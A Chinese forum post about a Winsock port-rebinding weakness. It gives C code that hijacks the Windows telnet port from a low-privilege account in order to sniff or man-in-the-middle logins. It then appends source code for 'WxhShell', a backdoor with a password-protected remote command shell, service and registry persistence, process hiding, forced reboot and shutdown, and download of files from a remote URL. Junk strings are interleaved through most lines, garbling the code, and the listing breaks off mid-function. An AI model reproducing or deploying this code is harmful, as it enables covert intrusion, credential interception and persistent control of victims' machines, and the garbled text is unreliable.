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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ie!">8."  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S=S/]]e  
3%r/w7Fc  
  saddr.sin_family = AF_INET; VWt=9D;  
61QA<Wb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :Nf(:D8  
19[oXyFI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2sgp$r  
^& *;]S`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n|WSnm,W  
d]K8*a%[-  
  这意味着什么?意味着可以进行如下的攻击: ~Fo2MwE2~  
kLF3s#k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pbbi*&i  
J*K=tA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9a@S^B>  
nF]E":  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /ho7~C+H*e  
\;_tXb}F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ki:t!vAO  
zN5};e}^v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I AUc.VH  
hFtjw6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L$"x*2[A  
WoN JF6=?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7Q'u>o  
3&E@#I^] ,  
  #include *C|*{!  
  #include 0n4(Rj|}2  
  #include R$IsP,Uw  
  #include    b^<7a&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +-TEB  
  int main() H_S"4ISS_  
  { -;6uN\gq  
  WORD wVersionRequested; K&{ _s  
  DWORD ret; $L|+Z>x  
  WSADATA wsaData; jC:D>  
  BOOL val; BINHCZ  
  SOCKADDR_IN saddr; OU/3U(%n]e  
  SOCKADDR_IN scaddr; +3AX1o%p,#  
  int err; Jb9 @U /<\  
  SOCKET s; Jk`l{N  
  SOCKET sc; ('uUf!h?\  
  int caddsize; $z)egh(z  
  HANDLE mt; F#Pn]  
  DWORD tid;   4/\Ynb.L  
  wVersionRequested = MAKEWORD( 2, 2 ); o[JZ>nm  
  err = WSAStartup( wVersionRequested, &wsaData ); c>c4IQ&d  
  if ( err != 0 ) { zA|lbJz=GY  
  printf("error!WSAStartup failed!\n"); YsiH=x  
  return -1; o ,_F;ZhE  
  } 45Zh8k  
  saddr.sin_family = AF_INET; 9T$%^H9  
   >D##94PZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d6m&nj  
3 AP=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |V}tTx1  
  saddr.sin_port = htons(23); e50xcf1u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `z/ p,. u  
  { zcOm"-E-  
  printf("error!socket failed!\n"); 41.xi9V2  
  return -1; D'D IC  
  } OFcP4hDi  
  val = TRUE; m4~~q[t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jC>mDnX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #U3q +d+^  
  { HpeU'0u0VK  
  printf("error!setsockopt failed!\n"); %/nDG9l  
  return -1; |yj0Rv  
  } }a UQ#x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (<Cg|*s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pfl^GgP#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hCX/k<}I  
\Q|,0`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d}?KPJ{  
  { Jfv'M<I  
  ret=GetLastError(); !w!k0z]  
  printf("error!bind failed!\n"); w JgH15oB  
  return -1; !-SI &qy  
  } V=>]&95-f  
  listen(s,2); NVom6K  
  while(1) u,=?|M\  
  { v$;URF%^  
  caddsize = sizeof(scaddr); a>Aq/=  
  //接受连接请求 eAQ-r\h'2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "9vL+Hh  
  if(sc!=INVALID_SOCKET) &`]T# ">  
  {  l]   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3RlNEc%)  
  if(mt==NULL) 0E3;f;'X  
  { 8{&.[S C7  
  printf("Thread Creat Failed!\n"); cs:?Wq ^  
  break; Az?^4 1r8  
  } r4?|sAK  
  } 66MUrNW  
  CloseHandle(mt); HB<>x  
  } (A?w|/bZd  
  closesocket(s); r#}o +3*  
  WSACleanup(); Cnu])R  
  return 0; I&&;a.  
  }   ( Y Z2&  
  DWORD WINAPI ClientThread(LPVOID lpParam) t="nmjQs  
  { c4Q%MRR  
  SOCKET ss = (SOCKET)lpParam; z 7cA5'c  
  SOCKET sc; cxPOO#  
  unsigned char buf[4096]; h]Gvt 5  
  SOCKADDR_IN saddr; -0k{O@l"  
  long num; Efpj u(   
  DWORD val; 02:`Joy2D  
  DWORD ret; NUtKT~V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \ZSqZDq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PVQn$-aq1  
  saddr.sin_family = AF_INET; r'*#i>PkQD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mZnsr@KF  
  saddr.sin_port = htons(23); ?2gXF0+~Y2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?;_Mxal'  
  { Y$ KR\ m  
  printf("error!socket failed!\n"); p7.~k1h  
  return -1; fNrpYR X  
  } gla'urb[i|  
  val = 100; &!+1GI9z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gEgd/Le  
  { eQfXUpk3@I  
  ret = GetLastError(); {uqP+Cs  
  return -1; %Go/\g   
  } p~-)6)We?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) szOa yAS  
  { ZxCXru1  
  ret = GetLastError(); oy=ej+:  
  return -1; 1 :{+{Yl7  
  } J'wJe,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {X nBj}C  
  { }Os7[4 RW  
  printf("error!socket connect failed!\n"); M~9IL\J^G  
  closesocket(sc); VAdUd {  
  closesocket(ss); Ub wmn!~  
  return -1; ,OkI0[  
  } #=F{G4d)!=  
  while(1) Gy'/)}}Z  
  { 1l.HQ IS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MTbCL53!-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c'bh`H4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O? 7hT!{  
  num = recv(ss,buf,4096,0); [E9_ZdB T  
  if(num>0) 0^d<@\  
  send(sc,buf,num,0); c48I-{?  
  else if(num==0) ny<D1>{90  
  break; JUq7R%"h6  
  num = recv(sc,buf,4096,0); P (fWJVF7  
  if(num>0) >5t]Zlb`  
  send(ss,buf,num,0); 5E${  
  else if(num==0) a{.-qp  
  break; :p$Q3  
  } _|COnm  
  closesocket(ss); ABq#I'H#@2  
  closesocket(sc); @[TSJi  
  return 0 ; LS<*5 HWX  
  } Zo Ra^o  
<.lt?!.ZH  
~x+&cA-0A2  
========================================================== zpcO7AY~  
+rDKx(Rk  
下边附上一个代码,,WXhSHELL ?]_A~_J!  
y@ c[S;  
========================================================== @Fb 2c0?Y  
%)o;2&aD  
#include "stdafx.h" i\ )$  
L~Xzo  
#include <stdio.h> lQ2vQz-J  
#include <string.h> / !hxW}>^  
#include <windows.h> T7(U6yN  
#include <winsock2.h> '*K%\]  
#include <winsvc.h> }#Kl6x  
#include <urlmon.h> i~{0>"9  
_u#r;h[  
#pragma comment (lib, "Ws2_32.lib") )jw!, "_4  
#pragma comment (lib, "urlmon.lib") bZgFea_>i  
`I(5Aj"  
#define MAX_USER   100 // 最大客户端连接数 -[z1r)RZ  
#define BUF_SOCK   200 // sock buffer C]krJse@  
#define KEY_BUFF   255 // 输入 buffer j__l'?s  
?|GwuG8g  
#define REBOOT     0   // 重启 I%mGb$ Q  
#define SHUTDOWN   1   // 关机 o4YF,c+>q  
4B-+DH>{6  
#define DEF_PORT   5000 // 监听端口 )kE1g&  
GP=bp_L  
#define REG_LEN     16   // 注册表键长度 a.XMeB  
#define SVC_LEN     80   // NT服务名长度 zy8D&7Ytf  
2bOFH6g  
// 从dll定义API T ?{F7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @:P:`Zk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yY80E[v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V"A* B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %)y-BdSp.  
]q|U0(q9  
// wxhshell配置信息 J/c5)IB|  
struct WSCFG { 0w6"p>s>c  
  int ws_port;         // 监听端口 /,+&O#SX  
  char ws_passstr[REG_LEN]; // 口令 `Oe}OSxnT  
  int ws_autoins;       // 安装标记, 1=yes 0=no I:] Pd  
  char ws_regname[REG_LEN]; // 注册表键名 Qt=OiKZ  
  char ws_svcname[REG_LEN]; // 服务名 ^:ehG9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %p^`,b}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -8sB\E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e @|uG%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ['aiNhlbt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Az6tu <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `M ~-(,++  
E~`<n]{G-C  
}; O/fm/  
]mx1djNA  
// default Wxhshell configuration b5l;bXp]  
struct WSCFG wscfg={DEF_PORT, -K0!wrKC  
    "xuhuanlingzhe", BBj>ML\X  
    1, awOH50R  
    "Wxhshell", #!w7E,UBi  
    "Wxhshell", (q=),3/<pU  
            "WxhShell Service", {s?x NU  
    "Wrsky Windows CmdShell Service", :\|<7n   
    "Please Input Your Password: ", Q&&oP:4~X*  
  1, !InC8+be  
  "http://www.wrsky.com/wxhshell.exe", 8LGNV&Edg  
  "Wxhshell.exe" CD)JCv  
    }; Uq(fk9`6  
'H'R6<z5  
// 消息定义模块 gLWbd~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +w(B9rH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A 7zL\U4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GNM+sd y+  
char *msg_ws_ext="\n\rExit."; OTWp,$YA=  
char *msg_ws_end="\n\rQuit."; 2h`Tn{&1/  
char *msg_ws_boot="\n\rReboot..."; %kV #UzL  
char *msg_ws_poff="\n\rShutdown..."; N"zm  
char *msg_ws_down="\n\rSave to "; D8)6yPwE  
LDj*~\vsq  
char *msg_ws_err="\n\rErr!"; :E2 ww`  
char *msg_ws_ok="\n\rOK!"; Z<[:v2  
X 3(*bj>P  
char ExeFile[MAX_PATH]; RFLw)IWkL_  
int nUser = 0; hfRxZ>O2  
HANDLE handles[MAX_USER]; &LHS<Nv^:  
int OsIsNt; cA B<'44R  
Ev0=m;@_  
SERVICE_STATUS       serviceStatus; |6b&khAM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %G'P!xQhy  
1F{,Zr  
// 函数声明 Pr#uV3\  
int Install(void); (vwKC D&  
int Uninstall(void); B;J8^esypD  
int DownloadFile(char *sURL, SOCKET wsh); hWRr#030  
int Boot(int flag); U,Z7n H3_  
void HideProc(void); 4 Xe8j55  
int GetOsVer(void); *JiI>[  
int Wxhshell(SOCKET wsl); 2X0<-Y#'  
void TalkWithClient(void *cs); r)[Xzn   
int CmdShell(SOCKET sock); \ 9#X]H  
int StartFromService(void); N)  
int StartWxhshell(LPSTR lpCmdLine); y*#+:D]o*  
!PJp()  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3?<LWrhV3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c2fw;)j&X  
!Mj28  
// 数据结构和表定义 .FA99|:  
SERVICE_TABLE_ENTRY DispatchTable[] = \n^;r|J7k  
{ }[SYWJIc  
{wscfg.ws_svcname, NTServiceMain}, ;.3 {}.Y  
{NULL, NULL} R#HX}[Hb  
}; {ukQBu#}<  
!3 zN [@w,  
// 自我安装 _tpOVw4I  
int Install(void) G@scz!Nt  
{ Sgn<=8,6c  
  char svExeFile[MAX_PATH]; H}g p`YW:4  
  HKEY key; ;e6- *  
  strcpy(svExeFile,ExeFile); _a  zJ>  
G$;cA:p-j  
// 如果是win9x系统,修改注册表设为自启动 -{NP3zy  
if(!OsIsNt) { Nu@dMG<5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -v$ q8_$m"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $aHHXd}@t2  
  RegCloseKey(key); VI?kbq jo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8+8L'Yv;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t@q==VHF  
  RegCloseKey(key); gB]jLe  
  return 0; T%w5%{dqJ  
    } [R<>3}50Y  
  } > O~   
} X u2+TK  
else { gpogv -  
j8;Uny9  
// 如果是NT以上系统,安装为系统服务 =A(Az  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sCE%./h]  
if (schSCManager!=0) $ J!PSF8PL  
{ ~"r(PCa@  
  SC_HANDLE schService = CreateService $>rKm  
  ( eQ<Vky^SJ  
  schSCManager, ^;wz+u4^l  
  wscfg.ws_svcname, O"J"H2}S  
  wscfg.ws_svcdisp, NYc;Zwv9  
  SERVICE_ALL_ACCESS, v[O?7Np  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |v_ttJ;+Y  
  SERVICE_AUTO_START, a&u!KAQ  
  SERVICE_ERROR_NORMAL, n _kE  
  svExeFile, L9d|7.b  
  NULL, A+(+Pf U  
  NULL, jOm7:+H  
  NULL, |qpFR)l  
  NULL, D/+l$aBz  
  NULL $4hi D;n  
  ); Ru4M7 %  
  if (schService!=0) #x \YA#~  
  { ZP ]Ok  
  CloseServiceHandle(schService); FSYs1Li_C  
  CloseServiceHandle(schSCManager); M9?f`9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZtY?X- 4_  
  strcat(svExeFile,wscfg.ws_svcname); 0{-?Wy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~U5Tn3'~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ahFK^ #s  
  RegCloseKey(key); iqKs:v@+x  
  return 0; /z:1nq  
    } dF*M"|[  
  } M"6J"s  
  CloseServiceHandle(schSCManager); g!^mewtd  
} p5l|qs  
} ,h<x Y>  
[}dPn61  
return 1; FcyF E~>2  
} . Ctd$  
z>)lp$  
// 自我卸载 oWEzzMRz  
int Uninstall(void)  /#zs  
{ O+]'*~a  
  HKEY key; uZ'(fnZ$  
&joP-!"  
if(!OsIsNt) { rp|A88Q/!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5F#FC89Kk  
  RegDeleteValue(key,wscfg.ws_regname); O^@F?CG :1  
  RegCloseKey(key); ]}n|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p!DOc8a.\e  
  RegDeleteValue(key,wscfg.ws_regname); ^fmuBe}d{  
  RegCloseKey(key); H-mQ{K^  
  return 0; 4vV\vXT*  
  } z L9:e7o  
} M>xT\  
} IkO [R1K  
else { rPt   
F<Xtp8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [3x},KM  
if (schSCManager!=0) ppGWh  
{ )Br#R:#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PcI~,e%  
  if (schService!=0) z m]R76  
  { ZD4aT1|Q7  
  if(DeleteService(schService)!=0) { 3#y`6e=5  
  CloseServiceHandle(schService); E<7$!P=z`  
  CloseServiceHandle(schSCManager); =`UFg >-  
  return 0; ?Ezy0>j  
  } 8U}+9  
  CloseServiceHandle(schService); rV} 5&N*c  
  } }<&?t;  
  CloseServiceHandle(schSCManager); .[Qi4jm>`  
} NE4]i  
} ^m AxV7k  
HMDuP2Y  
return 1; 0.2stBw  
} xzOn[.Fi  
AGKT*l.-  
// 从指定url下载文件 dI>cPqQ  
int DownloadFile(char *sURL, SOCKET wsh) 5K-,k^T}  
{ xxwbX6^d  
  HRESULT hr; GMB3`&qh  
char seps[]= "/"; r$Ni>[as  
char *token; &eqqgLz  
char *file; \U##b~Z,g  
char myURL[MAX_PATH]; yXqC  
char myFILE[MAX_PATH]; v*c"SI=@M=  
7|jy:F,w%  
strcpy(myURL,sURL); U@D\+T0  
  token=strtok(myURL,seps); 57O|e/2  
  while(token!=NULL) I zVc  
  { <N>7.G  
    file=token; JSmg6l?[u  
  token=strtok(NULL,seps); G~ LQM  
  } %@|)&][hO  
>[:qJ|i%  
GetCurrentDirectory(MAX_PATH,myFILE); %LD(S*>7  
strcat(myFILE, "\\"); 9c[bhGD?  
strcat(myFILE, file); Z  
  send(wsh,myFILE,strlen(myFILE),0); lCBH3-0^  
send(wsh,"...",3,0); e+:X%a4\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |WSpWsr,  
  if(hr==S_OK) ?GqH/ (O  
return 0; |_QpB?b  
else *'tGi_2?(  
return 1; |o*qZ}6  
lY2~{Y|4s  
} s,AJR [  
BOP7@D  
// 系统电源模块 \RRSrPLd-  
int Boot(int flag) (ti!Y"e2  
{ j5A>aj  
  HANDLE hToken; fEiNHVx  
  TOKEN_PRIVILEGES tkp; A (p^Q  
NeP  
  if(OsIsNt) { B-$zioZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b5I 8jPj4c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qk>SM| {  
    tkp.PrivilegeCount = 1; U<>@)0~7g!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hwQ|'^(@O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qr7|;l3  
if(flag==REBOOT) { j>l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % 4t?X  
  return 0; :>Qu;Z1P  
} IXlk1tHN4I  
else { Bj9FSKiH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [2>zaag  
  return 0; I+SfZ:q ^  
} y?A*$6  
  } +$xw0)|  
  else { qR_Np5nHF  
if(flag==REBOOT) { >n(dyU@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z`I%3U5(  
  return 0; <|]i3_Z  
} b?VByJl  
else { mAY/J0_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Om>?"=yDE  
  return 0; F 9d6#~  
} &; p}HL,  
} wZ69W$,p  
o|c&$)m  
return 1; -o~n 06p  
} ZX.,<vumSy  
z@?y(E  
// win9x进程隐藏模块 7y42)X  
void HideProc(void) 3Zs0W{OxU  
{ B1s&2{L6K  
%e)vl[:}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Q^ mR  
  if ( hKernel != NULL ) ( ]0F3@k#s  
  { ' V*}d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w5rtYT I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ey%[t  
    FreeLibrary(hKernel); lbw+!{Ch  
  } u$aN~6HG  
gB+CM? LKq  
return; yx6^ mis4  
} e%4vvPp  
heB![N0:  
// 获取操作系统版本 5|t-CY{?b  
int GetOsVer(void) * CAz_s<  
{ C8YStT  
  OSVERSIONINFO winfo; &gJ@"`r4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k.Gt }\6zP  
  GetVersionEx(&winfo); Y5B! *+h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rg#/kd<?[V  
  return 1; ;~WoJlEK3  
  else /L2n ~/  
  return 0; YcR: _ac  
} rM6S%rS  
;05lwP* r]  
// 客户端句柄模块 Z![#Uz.z  
int Wxhshell(SOCKET wsl) yp@cn(:~  
{ dVGcth;  
  SOCKET wsh; S;2UcSsQl  
  struct sockaddr_in client; xG Y!r"[  
  DWORD myID; -;RAW1]}Y$  
gvo5^O+)HH  
  while(nUser<MAX_USER) 6W7,EIf  
{ + iQ~ Y2Gh  
  int nSize=sizeof(client); {!{T,_ J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QfM^J5j.M?  
  if(wsh==INVALID_SOCKET) return 1; W?.xtQEv  
mUR[;;l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~ 7Nqwwx  
if(handles[nUser]==0) B>z^W+Unyn  
  closesocket(wsh); F8{T/YhZ  
else vp d!|/  
  nUser++; S"87 <o  
  } '-G,7!.,r%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  :J)^gc  
t*6C?zEAU  
  return 0; 0tMzVx S  
} ^{++h?cS)  
//Xz  
// 关闭 socket ~{kA;uw  
void CloseIt(SOCKET wsh) 8 ?:W{GAo  
{ 5"q{b1  
closesocket(wsh); /jq"r-S"  
nUser--; Qt^6w}&  
ExitThread(0); 9jl\H6JY|  
} o$*DFvk  
p!?7;  
// 客户端请求句柄 a"1LF`  
void TalkWithClient(void *cs) 0&r}'f ?  
{ `fVzY"Qv k  
 TLVfu4  
  SOCKET wsh=(SOCKET)cs; *0'{ n*>  
  char pwd[SVC_LEN]; S=~+e{  
  char cmd[KEY_BUFF]; o5Knot)Oy  
char chr[1]; (.{."  
int i,j; "e29j'u!*  
m^)\P?M5|  
  while (nUser < MAX_USER) { Th~pju  
[!ZYtp?Hf  
if(wscfg.ws_passstr) { td#m>S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b~8&P_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R9+f^o` W  
  //ZeroMemory(pwd,KEY_BUFF); O&">%aU1I  
      i=0; :X*uE^bH  
  while(i<SVC_LEN) { _qQo}|/q  
bs?4|#[K  
  // 设置超时 *\Hut'7 d  
  fd_set FdRead; U2JxzHXZ  
  struct timeval TimeOut; _tO2PI L@Z  
  FD_ZERO(&FdRead); o9v9 bL+X  
  FD_SET(wsh,&FdRead); L;KLmxy#  
  TimeOut.tv_sec=8; icK U)  
  TimeOut.tv_usec=0; PKs$Q=Ol<|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , -Lv3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `]Vn[^?D  
z_z '3d.r7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z \ -  
  pwd=chr[0]; 2Ju,P_<dt  
  if(chr[0]==0xd || chr[0]==0xa) { #P1 ;*m  
  pwd=0; fAvB!e  
  break; gti=GmL(L  
  } `k08M)  
  i++; rO1.8KKJ  
    } x/92],.Mz  
B_.>Q8tK;  
  // 如果是非法用户,关闭 socket mOYXd,xd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  +!wkTrV  
} ZJ_P=  
T9'5V@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l02aXxT)]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I]ol[ X0S  
Fd9Z7C  
while(1) { +T7FG_  
061f  
  ZeroMemory(cmd,KEY_BUFF); K%vGfQ8Er-  
]O+Nl5*  
      // 自动支持客户端 telnet标准   /bqJ6$  
  j=0; a3(f\MM xE  
  while(j<KEY_BUFF) { zU};|Zw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JhB$s  
  cmd[j]=chr[0]; ;WL0  
  if(chr[0]==0xa || chr[0]==0xd) { 6[>Zy)P  
  cmd[j]=0; E __A1j*gd  
  break; ^EKf_w-v  
  } 7jF2m'(  
  j++; Al]z =  
    } UgLJV2M6  
>Q^*h}IdW  
  // 下载文件 {*4Z9.2c*  
  if(strstr(cmd,"http://")) { RjX#pb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rB5+~ K@  
  if(DownloadFile(cmd,wsh)) k8"[)lDc.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/\z4Ri)$  
  else (%;D& ~%o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eD 7Rv<  
  } v#+tu,)V;  
  else { woK?td|/  
{eo?vA8SE  
    switch(cmd[0]) { {{_,YO^w  
  9L9mi<,  
  // 帮助 Yy0m &3[  
  case '?': { hn u/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4'# _b  
    break; &Lgi  
  }  WR"p2=  
  // 安装 T?FR@. Rm  
  case 'i': { }L*cP;m#  
    if(Install()) ZpY"P6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (tP^F)}e5  
    else r7p>`>_Q\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  /=7[Q  
    break; gG=E2+=uy  
    } $rE_rZ+]="  
  // 卸载 n7Ia8?8-l  
  case 'r': { 6e;.}i  
    if(Uninstall()) E^. =^bR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GQ9g$&T  
    else 7gQ~"Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YEqWTB|w  
    break; BK]q^.7+:  
    } =>6'{32W_  
  // 显示 wxhshell 所在路径 xTL"%'|  
  case 'p': { 0qV!-i  
    char svExeFile[MAX_PATH]; D*j\gI  
    strcpy(svExeFile,"\n\r"); #yVY! +A  
      strcat(svExeFile,ExeFile); KmkPq]  
        send(wsh,svExeFile,strlen(svExeFile),0); W7"ks(  
    break; _ #+~#U%5n  
    } j7 D\O  
  // 重启 oa|nQ`[  
  case 'b': { bmO[9 )G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DP9hvu/85  
    if(Boot(REBOOT)) FiqcM-Af4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6]^}GyM!  
    else { 6^.<5SJ}  
    closesocket(wsh); PZ"=t!  
    ExitThread(0); y85/qg) H^  
    } OPwj*b:-m  
    break; Ui 7S8c#tH  
    } 7m=tu?@  
  // 关机 x AD:Z "  
  case 'd': { Vj"B#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / %U+kW  
